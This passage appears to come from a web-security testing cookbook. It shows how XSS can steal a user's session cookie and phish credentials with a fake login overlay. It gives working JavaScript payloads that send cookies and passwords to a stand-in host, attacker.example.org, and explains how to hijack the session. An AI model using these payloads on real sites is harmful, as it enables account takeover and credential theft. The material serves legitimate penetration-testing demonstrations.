1. Stealing Cookies Using XSS
1.1. Problem
XSS may seem like a mysterious attack when given the standard
detection mechanism of inserting an alert box into a web page. When you
find XSS in an application, you may be called upon to demonstrate why it
is really a problem. After all, simply showing that you can type
<script>alert("XSS!")</script>
into a search box and have the browser pop up an alert box is not
particularly impressive. This is the first of three recipes that
discusses common attacks performed using XSS. Since these three recipes
are not meant to find XSS, but are meant to demonstrate its power, there
is no pass/fail criteria for these recipes. You would follow these
recipes only after finding out that the application is vulnerable to
XSS.
1.2. Solution
Stealing a user’s cookie is the easiest real XSS attack. Inject
something like the attack string in Example 1 into a vulnerable
parameter.
Example 1. JavaScript for stealing cookie
<script>document.write('<img height=0 width=0 src="http://attacker.example.org/cookie_log?cookie=' + encodeURI(document.cookie) + '"/>')</script>
|
This will create a link like the one in Example 2. The script will be
executed when you click on the link.
Example 2. Sample malicious URL for stealing cookie
http://www.example.com/example?vulnerable_param=%3Cscript%3E document.write('%3Cimg%20height=0%20width=0%20 src=%22http://attacker.example.org/cookie_log%3Fcookie%3D'%20+%20 encodeURI(document.cookie)%20+%20'%22/%3E')%3C/script%3E
|
1.3. Discussion
Before attempting this attack, you will need to set up a web
server somewhere (such as attacker.example.org as suggested in Example 1).Ensure that a
file called cookie_log exists in the
appropriate location on your web server. It does not actually need to
log anything because the HTTP server will do the logging for you.
In the solution, you may need to experiment with various syntactic
issues to get the attack to work. You may need to use characters such as
', ", and >
to break out of existing HTML tags so that you can inject your script.
View the HTML source of the web page to determine whether your input is
resulting in syntactically correct HTML. Now, whenever that script
executes, it will send the user’s session cookie to attacker.example.org, which is controlled by
the attacker. To view the cookies, simply view the httpd log files on your web server (attacker.example.org) or create a script
called cookie_log that logs the
parameters sent to it. Then, to gain access to that user’s session,
URI-decode the cookie and use a tool such as the Firefox Edit Cookies
extension to add it to a browser. Then, you will be able to access the web
application as the authenticated user from that browser.
2. Creating Overlays Using XSS
2.1. Problem
The second common attack that uses XSS is creating overlays on the target
website such that the victim users believe that they are on the intended
website, but the view is in reality being controlled by the attacker.
This attack exploits the victim’s trust when viewing the intended
website in the address bar in their browser.
2.2. Solution
To create complex attacks, it is much easier to create your
scripts at a separate site (attacker.example.org) and then include them in
the target site by injecting something such as the attack string shown
in Example 3.
Example 3. Inserting JavaScript file from another server
<script src="http://attacker.example.org/login_overlay.js"></script>
|
This is much easier (and less likely to make victims suspicious)
than attempting to fit a one-page JavaScript exploit into one HTTP
parameter. Create the script shown in Example 4 and make it accessible at
http://attacker.example.org/login_overlay.js
(or whatever your attack site’s URL is).
Example 4. JavaScript for creating overlay
var LoginBox; function showLoginBox() { var oBody = document.getElementsByTagName("body").item(0); LoginBox = document.createElement("div"); LoginBox.setAttribute('id', 'login_box'); LoginBox.style.width = 400; LoginBox.style.height = 200; LoginBox.style.border='red solid 10px'; LoginBox.style.top = 0; LoginBox.style.left = 0; LoginBox.style.position = "absolute"; LoginBox.style.zindex = "100"; LoginBox.style.backgroundColor = "#FFFFFF"; LoginBox.style.display = "block"; LoginBox.innerHTML = '<div><p>Please Log in</p>' + '<form action="#">' + 'Username:<input name="username" type="text"/><br/>' + 'Password:<input name="password" type="password"/><br/>' + '<input type="button" onclick="submit_form(this)" value="Login"/>' + '</form>' + '</div>'; oBody.appendChild(LoginBox); } function submit_form(f) { LoginBox.innerHTML= '<img src="http://attacker.example.org/credentials_log?username=' + encodeURI(f.form.elements['username'].value) + '&password=' + encodeURI(f.form.elements['password'].value) + '" width="0" height="0"/>'; LoginBox.style.display = "none"; } showLoginBox();
|
2.3. Discussion
The file login_overlay.js can
be as complex as needed. Example 4 is one of the building
blocks for creating a convincing exploit. To actually carry out the
exploit, a lot of additional JavaScript code would be required to
perform other operations such as resizing and positioning the overlay
depending on the browser’s window size.
The JavaScript code in Example 4 will display a login box
when the user first clicks on a link provided by the attacker. The login
box created by this particular script may not be very convincing, but
adjusting the fonts, colors, and other details to make it match the
style of the target web application would make it convincing. The
attacker’s goal is to convince the user that she is looking at a real
login page. The fact that the user sees the expected site in her address
bar works in the attacker’s favor. If the user enters her credentials
into the login box, they are sent to attacker.example.org.
If the site is SSL-protected, then the JavaScript file should be hosted
on a server that has a valid SSL certificate signed by a certificate
authority trusted by the victim’s browser. Otherwise, the victim’s
browser will warn him about the page containing some content served
over HTTPS and some over plain HTTP. If the file is hosted on a server
with a valid SSL certificate, then the victim’s browser will show the
typical padlock icon, further convincing the average user that he is
safe and on the intended site. |
You may want to set up a script at http://attacker.example.org/credentials_log to
record the credentials. However, this is not necessary when using many
web servers, such as the Apache HTTP server. As long as the file
credentials_log exists, the requested
URL (which contains the credentials) is logged in the standard Apache
request log.